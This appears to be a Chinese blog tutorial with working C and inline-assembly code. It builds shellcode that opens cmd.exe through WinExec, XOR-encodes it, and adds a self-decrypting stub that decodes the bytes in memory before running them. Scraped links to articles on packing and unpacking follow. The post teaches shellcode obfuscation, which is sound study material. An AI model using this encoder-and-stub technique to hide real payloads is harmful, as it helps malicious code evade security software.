首先看我们的shellcode,执行弹出cmd
没有shellcode:

#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"int main(int argc, char* argv[])
{printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{mov eax,strpush 5             ;5=SW_SHOWpush eaxmov eax,0x755bdab0   //call dword ptr [WinExec]call eax}return 0;}

将汇编改成shellcode,注意mov eax,0x755bdab0,后面0x755bdab0是WinExec函数的地址,每个机子可能不一样,请查看下自己机子这个函数的地址(将mov eax,0x755bdab0改成call dword ptr [WinExec],当执行call dword ptr [WinExec]时,查看eip的值就是WinExec的地址),不要用call dword ptr [WinExec],虽然也能弹出cmd,但是对后面有很大影响,我试了,解码后弹不出cmd(我也不知道为啥,我一开始就是用这个的,浪费我好长时间)。

#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
char key=0x51;
char shellcode[]="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0";int main(int argc, char* argv[])
{printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{lea eax,shellcodecall eax}return 0;
}


利用xor给shellcode加密,加密的程序为:

#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
char key=0x51;
char shellcode[]="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0";unsigned char decodeShellCode[200];int main(int argc, char* argv[])
{printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";int length=sizeof(shellcode)/sizeof(shellcode[0]);for (int i=0;i<length-1;i++){  printf("\\x%0.2x",shellcode[i]); decodeShellCode[i]=shellcode[i]^key;printf("\t");printf("\\x%0.2x",decodeShellCode[i]);printf("\n");}return 0;
}


将shellcode加密,然后输出来,后面的是加密后的shellcode,将后面的粘贴复制到一个数组里

char encodeSC[]="\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";

将加密的shellcode加载到内存里,然后动态在内存里改回来

先解密要执行的代码,然后再跳到解密后哪里执行加载整个shellcode到内存,前面专门解密后面的部分,再执行,就是加载整个外壳代码到内存,前面专门解密后面的部分,再执行

解密的程序为:

 __asm{add eax,24mov ecx,13xor edx,edx
decode:mov bl,byte ptr ds:[eax+edx]xor bl,51hmov byte ptr ds:[eax+edx],blinc edxloop decode}

将这段程序反汇编,找出机器码
程序中24是这段机器码的长度,13是我们的shellcode长度
将机器码放到我们加密的shellcode前面

char decodeSC[]="\x83\xC0\x18\xB9\x0d\x00\x00\x00\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3E\x88\x1C\x10\x42\xE2\xF2"
"\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";

最终程序

#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
char key=0x51;char decodeSC[]="\x83\xC0\x18\xB9\x0d\x00\x00\x00\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3E\x88\x1C\x10\x42\xE2\xF2"
"\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";int main(int argc, char* argv[])
{printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{lea eax,decodeSCpush eaxret    }return 0;
}


思路:

  1. 找出我们要执行的shellcode
  2. 利用xor给shellcode加密成encodeShellcode
  3. 再写个汇编,用于解密encodeShellcode,再写汇编时,要注意这个汇编产生的机器码长度(mov eax,24,24就是这个汇编机器码的长度)
  4. 找出汇编的机器码,放在加密的shelcode前面
  5. 将数组地址赋给eax,push eax,ret

建议反汇编的时候,一步步执行,我们就能看到动态修改加密后的shellcode了

利用xor给shellcode加壳相关推荐

  1. 脱壳学习之加壳的概念

    加壳 加壳的主要目的是压缩大小和阻碍分析.加壳以后的可执行文件会将原来的可执行文件作为数据存储. 通过加密和一些反逆向技术(对抗反汇编?,反调试,反虚拟化等等)来让程序难以分析. 脱壳存根 被加壳程序 ...

  2. 加壳器第二部分,加壳器

    1加壳器代码概述 为了软件的方便使用,这里我采用了mfc框架进行编写,其大致过程如下: 1.将加壳程序读入内存(因为要增加区段用于存放壳代码,并加密代码段) 2.加载壳代码 3.对一系列参数进行初始化 ...

  3. 用ollydbg手脱ArmadilloV3.60加壳的DLL

    用Ollydbg手脱ArmadilloV3.60加壳的DLL 作者:fly [作者声明]:只是感兴趣,没有其他目的.失误之处敬请诸位大侠赐教! [调试环境]:WinXP.Ollydbg1.10C.PE ...

  4. 如何解决恶意APK中常见的Native代码加壳保护

    导语:在分析恶意软件时偶然会发现受Native代码加壳保护的APK,本文将介绍如何解决恶意APK中常见的Native代码加壳保护. 在分析恶意软件时偶然会发现受Native代码加壳保护的APK,大多数 ...

  5. android 加壳 方案,android加壳思路

    8种机械键盘轴体对比 本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选? 对java及dex代码保护的技术发展:第一代 dex文件加密,打包.在运作时通过一个自定义的类加载器进行解密. 第二代 ...

  6. APK加壳【2】内存加载dex实现详解

    来源 本文要实验的方案同样来源于CSDN大牛Jack_Jia的一篇翻译博文: Android4.0内存Dex数据动态加载技术 原文的地址是 http://2013.hackitoergosum.org ...

  7. python类加载器_利用Python反序列化运行加载器实现免杀

    前言 前几天在看Python的shellcode加载器,在网上找了一个,结果加载器自身就过不了火绒,测试发现是火绒对关键语句进行了识别. 所以我们要想办法去掉加载器中明显的特征. 原理及实现 在绕过静 ...

  8. [安全攻防进阶篇] 六.逆向分析之OllyDbg逆向CrackMe01-02及加壳判断

    前文作者讲解了OllyDbg和在线沙箱的逆向分析过程,分享了恶意软件如何通过宏脚本发送勒索信息或密码至用户邮箱.这篇文件将带领大家逆向分析两个CrackMe程序,包括逆向分析和源码还原,基础性文章,希 ...

  9. ionic 安卓apk签名_安卓 APP 三代加壳方案的研究报告

    安卓的加固方案是从 19 年底开始写的,到现在为止差不多快一年了,写这个目的还是学习怎么脱壳,前几个月再看雪看到有人直接分析壳来学习,不过我感觉从加壳写起也是一种浪漫.因为个人原因,在类指令抽取壳那里 ...

最新文章

  1. 如何通过数据分析鉴别假微博大V?
  2. 从生产到分发:AI正在成为“互联网内容平台”的效率神器
  3. zabbix 自定义监控项 获取nginx监控状态
  4. 一个smarty 分页插件
  5. 数组方法 splice()与slice()的区别
  6. IPy模块测试demo,打印C段ip列表
  7. MFC 用Gdiplus画曲线和直线
  8. excel使用教程_有哪些超好用、高质量的Excel学习网站?
  9. 20种在学习编程的同时也可以在线赚钱的方法
  10. 去哪儿庄辰超:不信命运信概率
  11. Linux系统 应急响应自动化检测工具 GScan ——使用教程
  12. 当逛书店成为一种怀旧
  13. PDF如何裁剪页面,PDF裁剪页面的小技巧
  14. ubuntu Aria2 AriaNg安装
  15. 【大学】我的大学四年
  16. 企业微信搭建私域流量增长运营双管齐下
  17. 路径压缩优化并查集的时间复杂度
  18. 大麦人脸识别系统,如何支撑马拉松赛事?
  19. RS232转PROFIBUS DP总线桥使用方法远创智控
  20. 【洋桃电子】STM32入门100步-03

热门文章

  1. 【...】小程序扩展运算符 ... 说明
  2. Vuex的第一次接触
  3. css 写打印样式问题
  4. 信息系统开发平台OpenExpressApp - 应用模型ApplicationModel
  5. Access-Ctrol-Allow-Headers:*兼容问题导致的跨域失败
  6. jquery3和layui冲突导,致使用layui.layer.full弹出全屏iframe窗口时高度152px问题
  7. django QuerySet对象转换成字典对象
  8. 由openSession、getCurrentSession和HibernateDaoSupport浅谈Spring对事物的支持
  9. struts2学习笔记二--准备struts2的学习和开发环境
  10. java代码编写的文本特征提取_Test1 java语言写的特征提取源代码,有搞文字识别的可以下载一看,简单易学 Develop 274万源代码下载- www.pudn.com...